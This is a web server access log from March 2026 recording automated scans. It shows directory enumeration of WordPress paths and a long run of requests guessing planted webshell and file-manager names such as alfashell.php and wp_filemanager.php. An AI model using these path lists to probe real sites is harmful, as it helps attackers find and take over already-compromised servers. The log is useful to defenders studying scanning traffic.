89.117.104.8 - - [09/Mar/2026:06:33:56 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:56 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:57 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:57 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:01 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:01 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:02 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:02 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:02 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:02 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:02 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:03 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:03 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:03 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:13 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:37 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:46 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:46 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:46 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:49 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:42 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:24 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:27 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:27 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:27 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:27 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:28 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:28 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:28 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:23 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:18 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:40 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:43 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:44 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:44 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:44 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:44 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:44 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:45 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:29:45 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:30:55 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:41 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:33 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:35 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:37 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:39 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:41 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:44 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:47 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:50 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:53 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:56 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:59 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:02 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:04 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:07 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:10 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:26 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:33 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:37 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:33:44 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:25 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:32 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:33 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:33 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:33 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:35:33 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 43.157.95.131 - - [09/Mar/2026:08:00:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.117.104.8 - - [09/Mar/2026:06:34:12 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:34:15 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 43.166.244.192 - - [09/Mar/2026:07:09:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.117.104.8 - - [09/Mar/2026:06:29:54 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:31:32 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 89.117.104.8 - - [09/Mar/2026:06:32:08 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:55 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:52 +0300] "GET /teee.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:09 +0300] "GET /rere.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:36 +0300] "GET /yos.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:41 +0300] "GET /utky.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:06 +0300] "GET /bafFz.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:31 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:12 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:23 +0300] "GET /asw.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:27 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:36 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:39 +0300] "GET /akses.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:44 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:01 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:56 +0300] "GET /elabel.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:16 +0300] "GET /jocundly.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:49 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:07 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:33:19 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:32:26 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:41 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:47 +0300] "GET /pass2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:50 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:53 +0300] "GET //3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:20 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:31 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:52 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:52 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:27 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:39 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:42 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:45 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:48 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:54 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:57 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:00 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:03 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:04 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:07 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:16 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:21 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:19 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:58 +0300] "GET /foxr.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:12 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:26 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:26 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:29 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:32 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:44 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:48 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:51 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:54 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:31 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:49 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:51 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:45 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:34 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:34 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:37 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:40 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:38 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:41 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:41 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:08 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:12 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:57 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:38 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:42 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:45 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:48 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:52 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:38 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:22 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:25 +0300] "GET /h2h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:58 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:25 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:35 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:36 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:25 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:26 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:29 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:33 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:33 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:33 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:48 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:52 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:56 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:00 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:09 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:14 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:20 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:24 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:05 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:09 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:22 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:21 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:25 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:28 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:08 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:28 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:08 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:10 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:14 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:34 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:33 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:45 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:23 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:23 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:30 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:46 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:49 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:13 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:57 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:43:59 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:02 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:02 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:38 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:42 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:50 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:51 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:44:55 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:35 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:34:39 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:53 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:17 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:23 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:23 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:36:28 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:05 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:02 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:02 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:41:11 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:23 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:27 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:31 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:34 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:22 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:26 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:35:29 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:42 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:45 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:37:58 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:36 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:38:40 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:00 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:11 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:54 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:39:57 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:40:01 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:18 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:22 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:23 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:25 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:25 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:28 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:30 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:38 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:41 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:42:45 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.151.11.236 - - [09/Mar/2026:09:45:18 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 5.175.189.34 - - [09/Mar/2026:10:45:30 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.232.184.93 - - 